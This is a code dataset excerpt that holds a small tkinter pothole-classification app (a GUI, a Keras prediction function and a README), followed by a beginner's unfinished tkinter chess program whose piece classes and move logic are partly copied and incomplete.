top.configure(background=\"#d6d8ab\")\n top.configure(highlightcolor=\"#5e5e5e\")\n\n self.menubar = tk.Menu(top,font=font9,bg='#cdd8d3',fg=_fgcolor)\n top.configure(menu = self.menubar)\n\n # import tkinter as tk\n self.Canvas1 = tk.Canvas(top)\n self.Canvas1.place(relx=0.0, rely=0.0, relheight=1.624, relwidth=2.268)\n self.photo=Image.open('C:\\\\Users\\\\KRITIK SHIVANSHU\\\\Desktop\\\\Pavement_condition_assessment-master\\\\main1-0.jpg')\n self.photo_=ImageTk.PhotoImage(self.photo)\n self.Canvas1.create_image(0,0,image=self.photo_,anchor='nw')\n\n # self.Canvas1=tk.Canvas(top)\n # self.Canvas1.place(relx=0.0,rely=0.0,relheight=1.624,relwidth=2.268)\n # self.photo=Image.open(\"C://Users//GOVINDA//Downloads//sih_main//main1-0.jpg\")\n # self.photo_=ImageTk.PhotoImage(self.photo)\n # self.Canvas1.create_image(0,0,image=self.photo_,anchor=NW)\n\n # \"\"\"self.Label1 = tk.Label(top)\n # self.Label1.place(relx=-0.01, rely=0.078, height=650, width=515)\n # self.Label1.configure(background=\"#d6d8ab\")\n # photo_location = os.path.join(prog_location,\"C:/Users/GOVINDA/Downloads/sih_main/main1-0.png\")\n # global _img0\n # _img0 = tk.PhotoImage(file=photo_location)\n # self.Label1.configure(image=_img0)\"\"\"\n\n self.Label_insert_image = tk.Label(top)\n self.Label_insert_image .place(relx=0.422, rely=0.204, height=250, width=475)\n self.Label_insert_image .configure(activebackground=\"#ffffff\")\n self.Label_insert_image .configure(background=\"#ffffff\")\n self.Label_insert_image .configure(highlightbackground=\"#ffffff\")\n\n self.Button_ok = tk.Button(top)\n self.Button_ok.place(relx=0.672, rely=0.643, height=30, width=96)\n self.Button_ok.configure(background=\"#beb323\")\n self.Button_ok.configure(font=font12)\n self.Button_ok.configure(text='''Ok''')\n\n\n\n self.Button_add_image = tk.Button(top)\n self.Button_add_image .place(relx=0.472, rely=0.643, height=30, width=96)\n self.Button_add_image .configure(background=\"#beb323\")\n self.Button_add_image .configure(font=font12)\n self.Button_add_image .configure(text='''Add Image''')\n\n self.Button_add_image.configure(command=self.add_image)\n self.Button_ok.configure(command=self.ok_button)\n\n def add_image(self):\n\n self.file_name=filedialog.askopenfilename(filetypes=((\"JPG\",\"*.jpg\"),(\"All files\",\"*.*\")))\n self.path=self.file_name\n self.photo=Image.open(self.file_name).resize((475,250),Image.ANTIALIAS)\n self.photo_image=ImageTk.PhotoImage(self.photo)\n self.Label_insert_image.configure(image=self.photo_image)\n def ok_button(self):\n self.Label_predict=pred(self.path)\n self.x=self.Label_predict\n print(type(self.x))\n messagebox.showinfo(\"Prediction\",self.Label_predict)\n\nif __name__ == '__main__':\n vp_start_gui()\n\n\n\n\n\n" }, { "alpha_fraction": 0.6255707740783691, "alphanum_fraction": 0.6506849527359009, "avg_line_length": 24.764705657958984, "blob_id": "e3991d6c87ead3e1a5fa1bc261021e5030e13e5c", "content_id": "ae1ea5c94798c1a435a1ad420017058d098a23f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 876, "license_type": "permissive", "max_line_length": 124, "num_lines": 34, "path": "/prediction.py", "repo_name": "kritik123/Pavement-Damage-Detection", "src_encoding": "UTF-8", "text": "# from keras.preprocessing import image\nimport tensorflow as tf\n\nfrom tensorflow.keras.preprocessing import image\n\nimport numpy as np\n\n# from keras.models import load_model\n\nmodel=tf.keras.models.load_model('C:\\\\Users\\\\KRITIK SHIVANSHU\\\\Desktop\\\\Pavement_condition_assessment-master\\\\testing_model_first.h5')\n\n\ndef pred(image_path):\n img = image.load_img(image_path, target_size=(250, 250))\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n # images = np.vstack([x])\n classes = model.predict(x, batch_size=6)\n if(classes[0][0]>=0.5):\n classes[0][0]=1\n else:\n classes[0][0]=0\n if(classes[0][0])==0:\n return (\"The road photograph is normal\")\n else: \n return (\"The road photograph contains potholes\")\n\n\n# def pred(image_path):\n# path=image_path\n# type(path)\n# print(\"nihal\")\n# classes=path\n# return classes\n" }, { "alpha_fraction": 0.7153361439704895, "alphanum_fraction": 0.8046218752861023, "avg_line_length": 46.599998474121094, "blob_id": "d50844184c2356bc6250809ea75a3694eaa04d5f", "content_id": "644d5bc890bf7da5fa5c427054142bdbee4651e6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 957, "license_type": "permissive", "max_line_length": 262, "num_lines": 20, "path": "/README.md", "repo_name": "kritik123/Pavement-Damage-Detection", "src_encoding": "UTF-8", "text": "# 🛣️Pavement Condition Assessment\n\n1. This application is based on machine learning algorithm that can be used for assessment of pavement condition and the future prospects.\n\n2. Everything will be done by Analysis of correlation & discovery of pattern by applying algorithm technique.\n\n3. A deep learning algorithm which can take in an input image of pavement, assign importance to various aspects and be able to differentiate one from other. The pre-processing required in CNN algorithm is much lower as compared to other classification algorithm.\n\n4. The algorithm will also determine the road with potholes and without potholes.\n\n### Libraries Required\n1. Tensorflow\n2. Keras\n3. Tkinter\n\n## Screenshots\n\n![Screenshot (195)](https://user-images.githubusercontent.com/40329238/77325393-41596900-6d3e-11ea-90b2-ea4e3ac65a8b.png)\n\n![Screenshot (196)](https://user-images.githubusercontent.com/40329238/77325474-6221be80-6d3e-11ea-84aa-82f112e572dc.png)\n" } ]
3
zhangfred8/simplepythonchess
https://github.com/zhangfred8/simplepythonchess
4df1ff720cdac51b509bf1d4f8b6da6239561703
cdaeb8c751c00342aad5679e2a0579d7ab3b0e0f
507a6ce907a5913420ee889aa2e98ffcb0ec4cc3
refs/heads/master
2020-04-11T15:06:11.097390
2018-12-15T07:49:56
2018-12-15T07:49:56
161,879,710
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.837837815284729, "alphanum_fraction": 0.837837815284729, "avg_line_length": 17.5, "blob_id": "9fbec0a6de67f1afec2ea7578fbbaac4d93b0dd4", "content_id": "b1ceaf3e8a785f2186f3447d81cc9d14dc76d0a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 37, "license_type": "no_license", "max_line_length": 19, "num_lines": 2, "path": "/README.md", "repo_name": "zhangfred8/simplepythonchess", "src_encoding": "UTF-8", "text": "# simplepythonchess\nLearning python!\n" }, { "alpha_fraction": 0.5429306626319885, "alphanum_fraction": 0.5555729866027832, "avg_line_length": 40.22119140625, "blob_id": "81941977f621cb759aee08986dc4c5f7838bc89b", "content_id": "4f51e32895fa4496a57d99dbc839f32fd5edf329", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31877, "license_type": "no_license", "max_line_length": 129, "num_lines": 755, "path": "/chess.py", "repo_name": "zhangfred8/simplepythonchess", "src_encoding": "UTF-8", "text": "import tkinter as tk\r\nfrom PIL import Image, ImageTk\r\nimport pygame\r\n\r\nWHITECOLOUR = '#FFCC99'\r\nBLACKCOLOUR = '#8F604F'\r\nSQUARESIZE = 60\r\n\r\n\r\nclass KingButton(object):\r\n piececolour = None\r\n blackonblacksquare = None\r\n blackonwhitesquare = None\r\n whiteonblacksquare = None\r\n whiteonwhitesquare = None\r\n blackpiece = None\r\n whitepiece = None\r\n onwhatcolour = None\r\n startx = None\r\n starty = None\r\n isapiece = 1\r\n button = tk.Checkbutton\r\n \r\n def __init__(self, how):\r\n self.blackonblacksquare = ImageTk.PhotoImage(file = \"Black_king_black.png\")\r\n self.blackonwhitesquare = ImageTk.PhotoImage(file = \"Black_king_white.png\")\r\n self.whiteonblacksquare = ImageTk.PhotoImage(file = \"White_king_black.png\")\r\n self.whiteonwhitesquare = ImageTk.PhotoImage(file = \"White_king_white.png\")\r\n \r\n self.onwhatcolour = 0\r\n self.button = tk.Checkbutton(how, offrelief = tk.FLAT, relief = tk.FLAT, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0)\r\n print(\"queen initialized succesfully\")\r\n \r\n\r\n def placethegodamnbutton(self, thesquarecolour, piececolour):\r\n if thesquarecolour == 0:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n else:\r\n self.button['image'] = self.whiteonwhitesquare\r\n \r\n else:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n \r\n self.button['image'] = self.blackonblacksquare\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n\r\n def calcpossiblemoves(self):\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = 0\r\n self.boardstate[self.startx][self.starty].button['command'] = self.ufkedupgoback\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-1)\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-2)\r\n self.boardstate[self.startx][self.starty-1].button['command'] = self.swap\r\n self.boardstate[self.startx][self.starty-2].button['command'] = self.swap\r\n print(\"calculating...\")\r\n \r\n def checkIsAPiece(self, somepiece):\r\n if (somepiece.isapiece == 1):\r\n return True\r\n else:\r\n return False\r\n\r\nclass QueenButton(object):\r\n piececolour = None\r\n onblacksquare = None\r\n onwhitesquare = None\r\n onwhatcolour = None\r\n startx = None\r\n starty = None\r\n isapiece = 1\r\n button = tk.Checkbutton\r\n \r\n def __init__(self, how):\r\n self.blackonblacksquare = ImageTk.PhotoImage(file = \"Black_queen_black.png\")\r\n self.blackonwhitesquare = ImageTk.PhotoImage(file = \"Black_queen_white.png\")\r\n self.whiteonblacksquare = ImageTk.PhotoImage(file = \"White_queen_black.png\")\r\n self.whiteonwhitesquare = ImageTk.PhotoImage(file = \"White_queen_white.png\")\r\n self.onwhatcolour = 0\r\n self.button = tk.Checkbutton(how, offrelief = tk.FLAT, relief = tk.FLAT, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0)\r\n print(\"queen initialized succesfully\")\r\n \r\n\r\n def placethegodamnbutton(self, thesquarecolour, piececolour):\r\n if thesquarecolour == 0:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n else:\r\n self.button['image'] = self.whiteonwhitesquare\r\n \r\n else:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n \r\n self.button['image'] = self.blackonblacksquare\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n\r\n def calcpossiblemoves(self):\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = 0\r\n self.boardstate[self.startx][self.starty].button['command'] = self.ufkedupgoback\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-1)\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-2)\r\n self.boardstate[self.startx][self.starty-1].button['command'] = self.swap\r\n self.boardstate[self.startx][self.starty-2].button['command'] = self.swap\r\n print(\"calculating...\")\r\n\r\n def checkIsAPiece(self, somepiece):\r\n if (somepiece.isapiece == 1):\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nclass BishopButton(object):\r\n onblacksquare = None\r\n onwhitesquare = None\r\n onwhatcolour = None\r\n startx = None\r\n starty = None\r\n isapiece = 1\r\n button = tk.Checkbutton\r\n \r\n def __init__(self, how):\r\n self.blackonblacksquare = ImageTk.PhotoImage(file = \"Black_bishop_black.png\")\r\n self.blackonwhitesquare = ImageTk.PhotoImage(file = \"Black_bishop_white.png\")\r\n self.whiteonblacksquare = ImageTk.PhotoImage(file = \"White_bishop_black.png\")\r\n self.whiteonwhitesquare = ImageTk.PhotoImage(file = \"White_bishop_white.png\")\r\n self.onwhatcolour = 0\r\n self.button = tk.Checkbutton(how, offrelief = tk.FLAT, relief = tk.FLAT, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0)\r\n print(\"bishop initialized succesfully\")\r\n \r\n\r\n def placethegodamnbutton(self, thesquarecolour, piececolour):\r\n if thesquarecolour == 0:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n else:\r\n self.button['image'] = self.whiteonwhitesquare\r\n \r\n else:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n \r\n self.button['image'] = self.blackonblacksquare\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n def calcpossiblemoves(self):\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = 0\r\n self.boardstate[self.startx][self.starty].button['command'] = self.ufkedupgoback\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-1)\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-2)\r\n self.boardstate[self.startx][self.starty-1].button['command'] = self.swap\r\n self.boardstate[self.startx][self.starty-2].button['command'] = self.swap\r\n print(\"calculating...\")\r\n\r\n def checkIsAPiece(self, somepiece):\r\n if (somepiece.isapiece == 1):\r\n return True\r\n else:\r\n return False\r\n\r\nclass RookButton(object):\r\n hasmoved = 0\r\n piececolour = None\r\n onblacksquare = None\r\n onwhitesquare = None\r\n squarecolour = None\r\n startx = None\r\n starty = None\r\n isapiece = 1\r\n button = tk.Checkbutton\r\n \r\n def __init__(self, how):\r\n self.blackonblacksquare = ImageTk.PhotoImage(file = \"Black_rook_black.png\")\r\n self.blackonwhitesquare = ImageTk.PhotoImage(file = \"Black_rook_white.png\")\r\n self.whiteonblacksquare = ImageTk.PhotoImage(file = \"White_rook_black.png\")\r\n self.whiteonwhitesquare = ImageTk.PhotoImage(file = \"White_rook_white.png\")\r\n self.onwhatcolour = 0\r\n self.button = tk.Checkbutton(how, offrelief = tk.FLAT, relief = tk.FLAT, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0, command = self.calcpossiblemoves)\r\n print(\"queen initialized succesfully\")\r\n \r\n\r\n def placethegodamnbutton(self, thesquarecolour, piececolour, startx, starty):\r\n self.startx = startx\r\n self.starty = starty\r\n self.squarecolour = thesquarecolour\r\n if thesquarecolour == 0:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n else:\r\n self.button['image'] = self.whiteonwhitesquare\r\n \r\n else:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n \r\n self.button['image'] = self.blackonblacksquare\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n\r\n def calcpossiblemoves(self):\r\n \r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = 0\r\n for x in range(8):\r\n\r\n self.boardstate[x][self.starty].button['command'] = lambda bound_x = x: self.swap(bound_x, self.starty)\r\n self.boardstate[self.startx][x].button['command'] = lambda bound_y = x: self.swap(self.startx, bound_y)\r\n\r\n self.boardstate[self.startx][self.starty].button['command'] = self.ufkedupgoback\r\n print(\"calculating...\")\r\n \r\n def swap(self, xcoor, ycoor):\r\n print(xcoor)\r\n print(ycoor)\r\n if not self.hasmoved:\r\n self.hasmoved = 1\r\n if not self.squarecolour == self.boardstate[xcoor][ycoor].squarecolour:\r\n self.changetexture()\r\n self.boardstate[xcoor][ycoor].changetexture()\r\n var = self.boardstate[xcoor][ycoor]\r\n self.boardstate[xcoor][ycoor] = self.boardstate[self.startx][self.starty]\r\n self.boardstate[self.startx][self.starty] = var\r\n self.boardstate[xcoor][ycoor].button.place(x = xcoor*SQUARESIZE, y = ycoor*SQUARESIZE)\r\n self.boardstate[self.startx][self.starty].button.place(x = self.startx*SQUARESIZE, y = self.starty*SQUARESIZE)\r\n self.startx = xcoor\r\n self.starty = ycoor\r\n self.ufkedupgoback()\r\n print(\"swap completed\")\r\n def ufkedupgoback(self):\r\n print(\"fkedupgoback\")\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = self.boardstate[c][r].calcpossiblemoves\r\n\r\n def changetexture(self):\r\n if self.piececolour == 1 and self.squarecolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.squarecolour = 0\r\n\r\n elif self.piececolour == 1 and self.squarecolour == 0:\r\n self.button['image'] = self.blackonblacksquare\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.squarecolour = 1\r\n elif self.piececolour == 0 and self.squarecolour == 1:\r\n self.button['image'] = self.whiteonwhitesquare\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.squarecolour = 0\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.squarecolour = 1\r\n\r\n def checkIsAPiece(self, somepiece):\r\n if (somepiece.isapiece == 1):\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nclass KnightButton(object):\r\n piececolour = None\r\n onblacksquare = None\r\n onwhitesquare = None\r\n onwhatcolour = None\r\n startx = None\r\n starty = None\r\n isapiece = 1\r\n button = tk.Checkbutton\r\n \r\n def __init__(self, how):\r\n self.blackonblacksquare = ImageTk.PhotoImage(file = \"Black_knight_black.png\")\r\n self.blackonwhitesquare = ImageTk.PhotoImage(file = \"Black_knight_white.png\")\r\n self.whiteonblacksquare = ImageTk.PhotoImage(file = \"White_knight_black.png\")\r\n self.whiteonwhitesquare = ImageTk.PhotoImage(file = \"White_knight_white.png\")\r\n self.onwhatcolour = 0\r\n self.button = tk.Checkbutton(how, offrelief = tk.FLAT, relief = tk.FLAT, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0)\r\n print(\"knight initialized succesfully\")\r\n \r\n\r\n def placethegodamnbutton(self, thesquarecolour, piececolour):\r\n if thesquarecolour == 0:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n else:\r\n self.button['image'] = self.whiteonwhitesquare\r\n \r\n else:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n \r\n self.button['image'] = self.blackonblacksquare\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n def calcpossiblemoves(self):\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = 0\r\n self.boardstate[self.startx][self.starty].button['command'] = self.ufkedupgoback\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-1)\r\n self.possiblemoves.append(self.startx)\r\n self.possiblemoves.append(self.starty-2)\r\n self.boardstate[self.startx][self.starty-1].button['command'] = self.swap\r\n self.boardstate[self.startx][self.starty-2].button['command'] = self.swap\r\n print(\"calculating...\")\r\n\r\n\r\n def swap(self, xcoor, ycoor):\r\n if not self.hasmoved:\r\n self.hasmoved = 1\r\n var = self.boardstate[xcoor][ycoor]\r\n self.boardstate[xcoor][ycoor] = self.boardstate[self.startx][self.starty]\r\n self.boardstate[self.startx][self.starty] = var\r\n self.boardstate[xcoor][ycoor].button.place(x = xcoor*SQUARESIZE, y = ycoor*SQUARESIZE)\r\n self.boardstate[self.startx][self.starty].button.place(x = self.startx*SQUARESIZE, y = self.starty*SQUARESIZE)\r\n self.startx = xcoor\r\n self.starty = ycoor\r\n self.boardstate[self.startx][self.starty].button['command'] = self.calcpossiblemoves\r\n self.ufkedupgoback()\r\n \r\n print(\"swap completed\")\r\n\r\n def checkIsAPiece(self, somepiece):\r\n if (somepiece.isapiece == 1):\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nclass PawnButton(object):\r\n squarecolour = None\r\n piececolour = None\r\n onblacksquare = None\r\n onwhitesquare = None\r\n onwhatcolour = None\r\n startx = None\r\n startyy = None\r\n isapiece = 1\r\n boardstate = [[0 for x in range(8)] for y in range(8)]\r\n button = tk.Checkbutton\r\n\r\n hasmoved = 0\r\n \r\n def __init__(self, how):\r\n self.blackonblacksquare = ImageTk.PhotoImage(file = \"Black_pawn_black.png\")\r\n self.blackonwhitesquare = ImageTk.PhotoImage(file = \"Black_pawn_white.png\")\r\n self.whiteonblacksquare = ImageTk.PhotoImage(file = \"White_pawn_black.png\")\r\n self.whiteonwhitesquare = ImageTk.PhotoImage(file = \"White_pawn_white.png\")\r\n self.onwhatcolour = 0\r\n self.button = tk.Checkbutton(how, offrelief = tk.FLAT, relief = tk.FLAT, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0, command = self.calcpossiblemoves)\r\n print(\"pawn initialized succesfully\")\r\n \r\n\r\n def placethegodamnbutton(self, thesquarecolour, piececolour, startx, starty):\r\n self.startx = startx\r\n self.starty = starty\r\n self.squarecolour = thesquarecolour\r\n if thesquarecolour == 0:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n else:\r\n self.button['image'] = self.whiteonwhitesquare\r\n \r\n else:\r\n self.onwhatcolour = thesquarecolour\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.piececolour = piececolour\r\n if piececolour == 1:\r\n \r\n self.button['image'] = self.blackonblacksquare\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n######FIXTHISSHIT*##################\r\n def calcpossiblemoves(self):\r\n print(self.piececolour)\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = 0\r\n self.boardstate[self.startx][self.starty].button['command'] = self.ufkedupgoback\r\n var1 = None\r\n \r\n \r\n if self.piececolour == 0:\r\n if self.hasmoved:\r\n if not self.checkIsAPiece(self.boardstate[self.startx][self.starty-1]):\r\n self.boardstate[self.startx][self.starty-1].button['command'] = lambda: self.swap(self.startx, self.starty-1)\r\n else:\r\n if not self.checkIsAPiece(self.boardstate[self.startx][self.starty-1]):\r\n self.boardstate[self.startx][self.starty-1].button['command'] = lambda: self.swap(self.startx, self.starty-1)\r\n if not self.checkIsAPiece(self.boardstate[self.startx][self.starty-2]):\r\n self.boardstate[self.startx][self.starty-2].button['command'] = lambda: self.swap(self.startx, self.starty-2)\r\n else:\r\n if self.hasmoved:\r\n if not self.checkIsAPiece(self.boardstate[self.startx][self.starty+1]):\r\n self.boardstate[self.startx][self.starty+1].button['command'] = lambda: self.swap(self.startx, self.starty+1)\r\n else:\r\n if not self.checkIsAPiece(self.boardstate[self.startx][self.starty+1]):\r\n self.boardstate[self.startx][self.starty+1].button['command'] = lambda: self.swap(self.startx, self.starty+1)\r\n if not self.checkIsAPiece(self.boardstate[self.startx][self.starty+2]):\r\n self.boardstate[self.startx][self.starty+2].button['command'] = lambda: self.swap(self.startx, self.starty+2)\r\n print(\"calculating...\")\r\n\r\n def swap(self, xcoor, ycoor):\r\n if not self.hasmoved:\r\n self.hasmoved = 1\r\n if not self.squarecolour == self.boardstate[xcoor][ycoor].squarecolour:\r\n self.changetexture()\r\n self.boardstate[xcoor][ycoor].changetexture()\r\n var = self.boardstate[xcoor][ycoor]\r\n self.boardstate[xcoor][ycoor] = self.boardstate[self.startx][self.starty]\r\n self.boardstate[self.startx][self.starty] = var\r\n self.boardstate[xcoor][ycoor].button.place(x = xcoor*SQUARESIZE, y = ycoor*SQUARESIZE)\r\n self.boardstate[self.startx][self.starty].button.place(x = self.startx*SQUARESIZE, y = self.starty*SQUARESIZE)\r\n self.boardstate[xcoor][ycoor].startx = self.startx\r\n self.boardstate[xcoor][ycoor].starty = self.starty\r\n self.startx = xcoor\r\n self.starty = ycoor\r\n self.ufkedupgoback()\r\n print(\"swap completed\")\r\n\r\n def changetexture(self):\r\n if self.piececolour == 1 and self.squarecolour == 1:\r\n self.button['image'] = self.blackonwhitesquare\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.squarecolour = 0\r\n\r\n elif self.piececolour == 1 and self.squarecolour == 0:\r\n self.button['image'] = self.blackonblacksquare\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.squarecolour = 1\r\n elif self.piececolour == 0 and self.squarecolour == 1:\r\n self.button['image'] = self.whiteonwhitesquare\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.squarecolour = 0\r\n else:\r\n self.button['image'] = self.whiteonblacksquare\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.squarecolour = 1\r\n\r\n######FIXTHISSHIT*##################\r\n\r\n def ufkedupgoback(self):\r\n print(\"fkedupgoback\")\r\n for c in range(8):\r\n for r in range(8):\r\n self.boardstate[c][r].button['command'] = self.boardstate[c][r].calcpossiblemoves\r\n\r\n def checkIsAPiece(self, somepiece):\r\n if (somepiece.isapiece == 1):\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nclass EmptyButton(object):\r\n squarecolour = None\r\n blacksquare = None\r\n whitesquare = None\r\n startx = None\r\n startyy = None\r\n boardstate = [[0 for x in range(8)] for y in range(8)]\r\n button = tk.Checkbutton\r\n isapiece = 0\r\n \r\n def __init__(self, how):\r\n self.blacksquare = ImageTk.PhotoImage(file = \"Black_square.png\")\r\n self.whitesquare = ImageTk.PhotoImage(file = \"White_square.png\")\r\n self.button = tk.Checkbutton(how, offrelief = tk.SUNKEN, relief = tk.SUNKEN, bd = 0,\r\n indicatoron = 0, padx = 0, pady = 0, height = SQUARESIZE, width = SQUARESIZE,\r\n highlightthickness = 0)\r\n\r\n def placethegodamnbutton(self, squarecolour):\r\n self.squarecolour = squarecolour\r\n if squarecolour == 0:\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = WHITECOLOUR\r\n self.button['disabledforeground'] = WHITECOLOUR\r\n self.button['image'] = self.whitesquare\r\n \r\n else:\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.button['disabledforeground'] = BLACKCOLOUR\r\n self.button['image'] = self.blacksquare\r\n\r\n def calcpossiblemoves(self):\r\n print(\"does nothing\")\r\n\r\n def changetexture(self):\r\n if self.squarecolour == 1:\r\n self.button['image'] = self.whitesquare\r\n self.button['fg'] = WHITECOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.squarecolour = 0\r\n else:\r\n self.button['image'] = self.blacksquare\r\n self.button['fg'] = BLACKCOLOUR\r\n self.button['bg'] = BLACKCOLOUR\r\n self.squarecolour = 1\r\n\r\n \r\n\r\n\r\n\r\n###########################Where the main application starts\r\nclass Application(tk.Frame):\r\n isGameover = 1\r\n \r\n \r\n def __init__(self, master=None):\r\n super().__init__(master)\r\n master.geometry(\"500x500+10+10\")\r\n self.pack()\r\n \r\n self.create_chessboard(master)\r\n \r\n self.game(master)\r\n \r\n \r\n \r\n def create_chessboard(self, theboard):\r\n \r\n print(\"this running?\")\r\n var = 0\r\n count = 0\r\n self.blacksquare = ImageTk.PhotoImage(file = \"Black_square.png\")\r\n self.whitesquare = ImageTk.PhotoImage(file = \"White_square.png\")\r\n w,h = 8,8\r\n self.chessboard = [[0 for x in range(w)] for y in range(h)]\r\n ##MAKE AND PLACE CHESS PIECES HERE\r\n ###BLACK PIECES HERE############\r\n blackKing = KingButton(theboard)\r\n self.chessboard[4][0] = blackKing\r\n self.chessboard[4][0].placethegodamnbutton(0,1)\r\n self.chessboard[4][0].button.place(x = 4*SQUARESIZE, y = 0)\r\n ##################################\r\n blackQueen = QueenButton(theboard)\r\n self.chessboard[3][0] = blackQueen\r\n self.chessboard[3][0].placethegodamnbutton(1,1)\r\n self.chessboard[3][0].button.place(x=3*SQUARESIZE, y = 0)\r\n ##################################\r\n leftBishop = BishopButton(theboard)\r\n self.chessboard[2][0]= leftBishop\r\n self.chessboard[2][0].placethegodamnbutton(0,1)\r\n self.chessboard[2][0].button.place(x = 2*SQUARESIZE, y = 0)\r\n rightBishop= BishopButton(theboard)\r\n self.chessboard[5][0] = rightBishop\r\n self.chessboard[5][0].placethegodamnbutton(1,1)\r\n self.chessboard[5][0].button.place(x = 5*SQUARESIZE, y = 0)\r\n #################################\r\n leftKnight = KnightButton(theboard)\r\n 